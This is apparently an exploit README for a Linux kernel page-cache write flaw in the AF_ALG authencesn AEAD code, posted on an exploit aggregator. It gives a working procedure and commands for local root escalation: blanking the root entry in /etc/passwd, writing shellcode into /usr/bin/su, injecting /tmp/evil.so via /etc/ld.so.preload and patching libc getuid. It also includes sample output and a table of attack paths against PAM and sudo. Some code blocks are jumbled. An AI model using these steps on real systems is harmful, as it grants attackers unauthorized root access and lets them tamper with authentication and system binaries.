## https://sploitus.com/exploit?id=E869786A-9338-5F79-B49A-34EB42351CE3
# CVE-2026-31431 β Copy Vulnerability
**Linux Kernel Page Cache Write Vulnerability (AF_ALG AEAD Hash Chain Error)**
## Overview
There is a vulnerability in the Linux kernelβs `algif_aead` interface, allowing **non-privileged users** to write arbitrary data to the page cache of any readable fileβcompletely bypassing file permissions checks, access control lists (MAC), and integrity checks. The content of the file on disk remains unchanged, but all processes that read the file afterward (including SUID programs, linker scripts, `execve()` calls, etc.) will see the modified version of the file until the page cache is reclaimed.
## Impact
| Item | Description |
|---|---|
| Subsystem | `crypto/algif_aead.c` |
| Algorithm | `authencesn(hmac(sha256), cbc(aes))` |
| Kernel Configuration | `CONFIG_CRYPTO_USER_API_AEAD=y/m` (Enabled by default in most distributions) |
| Required Permissions | **None** β Only need read permission for the target file |
| Severity | Local privilege escalation β **Root** |
| Affected Distros | Ubuntu, Debian, Fedora, RHEL, Arch, openSUSE, etc. |
## Vulnerability Details
### Brief Description
When performing AEAD decryption using `AF_ALG`:
1. The user space sends associated authentication data (AAD) via `sendmsg()` + `MSG_MORE`, including a 4-byte `seqno_lo` controlled by the attacker.
2. The target fileβs page cache is injected into the TX SGL of the kernelβs encryption subsystem via `splice()`.
3. When the kernel constructs the **target hash table** (dst SGL), the receive buffer is linked to the page cache via `sg_chain`.
4. The `authencesn` algorithm writes `seqno_lo` at offset `assoclen + cryptlen`βthis location **crosses the receive buffer and directly affects the linked page cache**.
5. This write operation occurs **before the HMAC verification**. If HMAC fails, the kernel returns an `EBADMSG` error, but the page cache has been tampered with.
### Data Flow Diagram
```
sendmsg(AAD) splice(file-page)
β
βΌ
ββββββββββββ sg_chainββββββββββββββββββββββββ
βRX BufferβββββββββββββββΆβ Page Cache Pageβ
β8 bytes β β (File Content)β
βββββββββββββ
β²
β
authencesn writes seqno_lo here
Offset = assoclen + cryptlen
ββββ Thatβs where the vulnerability liesββββ
```
### Key Points
- The 4 bytes of `seqno_lo` are completely controlled by the attacker in the AAD message (**what to write**).
- The length of `splice()` determines the offset of the write operation in the page cache (**where to write**).
- Together, these two factors create an **arbitrary 4-byte write primitive** that can be applied to any readable fileβs page cache.
## How to Use
### Quick Privilege Escalation
```bash
# Tamper with the /etc/passwd page cache, remove the root password, and automatically execute `su root`
./exploit.py escalate
```
**Execution Process:**
1. Back up the original `/etc/passwd` file to `/tmp/.passwd.bak`.
2. Modify the page cache of `/etc/passwd` to read `root::0:0:root :...`.
3. Automatically execute `su root` (no password required).
**Output Example:**
```
[*] CVE-2026-31431 β Copy Vulnerability
[*] Mode: Remove root password from /etc/passwd
[*] Backup: /tmp/.passwd.bak
[*] Before: root:x:0:0:root:/root:/bin/bash
[*] After: root::0:0:root :/root:/bin/bash
[*] Offset: 0
[0x000000] 726f6f74 root
[0x000004] 3a3a303a ::0:
[0x000008] 303a726f 0:ro
[0x00000c] 6f742020 ot
[0x000010] 3a2f726f :/ro
[0x000014] 6f743a2f ot:/
[0x000018] 62696e2f bin/
[0x00001c] 62617368 bash
[+] Success: Root::0:0:root :/root:/bin/bash
[*] Recovery: echo 3 > /proc/sys/vm/drop_caches
[*] Execution: su root (no password required)
```
### General: Arbitrary Page Cache Writing
```bash
# Basic syntax
./exploit.py write
# Read payload from binary file
./exploit.py write @payload.bin
```
#### Example Usage
```bash
# Write shellcode to the entry point of a SUID program
./exploit.py write /usr/bin/su 0x1040 @shellcode.bin
# Inject a preloaded library path
```
This vulnerability allows for **arbitrary 4-byte writes to any readable fileβs page cache**.
./exploit.py write /etc/ld.so.preload 0 '/tmp/evil.so\n'
# Tamper with libc functions (e.g., make getuid() return 0)
./exploit.py write /usr/lib/libc.so.6 0x284a0 '\x31\xc0\xc3\x90'
## Constraints
| Constraint | Description |
|---|---|
| **Read permission** | The target file must be readable for the current user (`O_RDONLY`) |
| **Alignment** | Each write operation consists of 4 bytes; tails less than 4 bytes are filled with `0x90` |
| **File size** | The file size must be β₯ `offset + data_length + 4` bytes |
| **Page caching only** | The content of the file on disk **will not** be modified |
| **Durability** | The page cache remains valid until it is reclaimed or manually cleared |
| **Kernel configuration** | Requires `AF_ALG` and `authencesn` (available on mainstream distributions by default) |
## Recovery methods
```bash
# Method 1: Clear all page caches to restore the original disk content
echo 3 > /proc/sys/vm/drop_caches
# Method 2: Restart the system
reboot
```
## Internal technical details
### AF_ALG socket initialization
```
socket(AF_ALG, SOCK_SEQPACKET, 0)
β bind("aead", "authencesn(hmac(sha256),cbc(aes))")
β setsockopt(SOL_ALG, ALG_SET_KEY, authenc_key_blob)
β setsockopt(SOL_ALG, ALG_SET_AEAD_AUSSIZE, 4)
β accept() β Requested fd
```
### Key structure (authenc_key_blob)
```
βββββββββββββββββββββββββββββββββββββββββββββββ
β rta_len (2B) β rta_type (2B) β enckeylen (4B) β
β 0x0008 β 0x0001 β 0x00000010 β
βββββββββββββββββββββββββββββββββββββββββββββββ€
β Authentication key (16 bytes of zeros) β
βββββββββββββββββββββββββββββββββββββββββββββββ€
β Encryption key (16 bytes of zeros) β
βββββββββββββββββββββββββββββββββββββββββββββββ
```
The key values are insignificantβthe HMAC will inevitably fail, but the unauthorized write operation has already been completed before verification. ### Single 4-byte write process
```
Step 1: sendmsg(req_fd,
AAD = [seqno_hi(4B) | seqno_lo(4B)], β seqno_lo = value to be written
cmsg = [OP=DECRYPT, IV=zeros, ASSOCLEN=8],
flags = MSG_MORE)
Step 2: pipe_r, pipe_w = pipe()
Step 3: splice(target_fd β pipe_w, count = file_offset + 4, offset_src = 0)
Step 4: splice(pipe_r β req_fd, count = file_offset + 4)
Step 5: recv(req_fd, ASSOC_LEN + file_offset)
β Trigger authencesn decryption
β seqno_lo is written at the file_offset in the page cache
β The offset falls at the file_offset in the page cache
β HMAC fails, returning EBADMSG
β The page cache has been tampered β
```
### Offset calculation
```
dst SGL layout:
[0 .. 7] β RX buffer (AAD reception area)
[8 .. 8 + file_offset + 3] β Page cache (splice injection)
```
seqno_lo writing position:
dst[assoclen + cryptlen]
= dst[8 + file_offset]
= file_offset in the page cache
β΄ The attacker controls the file_offset β Controls the writing position
The attacker controls seqno_lo β Controls the writing content
```
## File structure
```
. βββ exploit.py # Self-contained vulnerability exploitation script (only requires Python 3 + Linux)
βββ README.md # This file
```
## List of attack scenarios
| Attack path | Target file | Effect |
|---|---|---|
| Remove root password | `/etc/passwd` | `su root` requires no password |
| Inject preloading library | `/etc/ld.so.preload` | All programs load the malicious `.so` |
| Tamper with SUID programs | `/usr/bin/su` etc. | Execute shellcode to obtain root shell |
| Tamper with libc | `/usr/lib/libc.so.6` | Hijack functions like getuid() to return 0 |
| Tamper with PAM module | `/usr/lib/security/pam_unix.so` | Bypass all authentication |
| Tamper with sudo | `/usr/bin/sudo` | Any user can directly obtain root access |
```
## Disclaimer
This tool is used solely for authorized security research and penetration testing purposes. Using this tool to attack othersβ systems is illegal. Users must bear all legal responsibilities.
[source-iocs-preserved const=ALG_SET_AEAD_AUTHSIZE]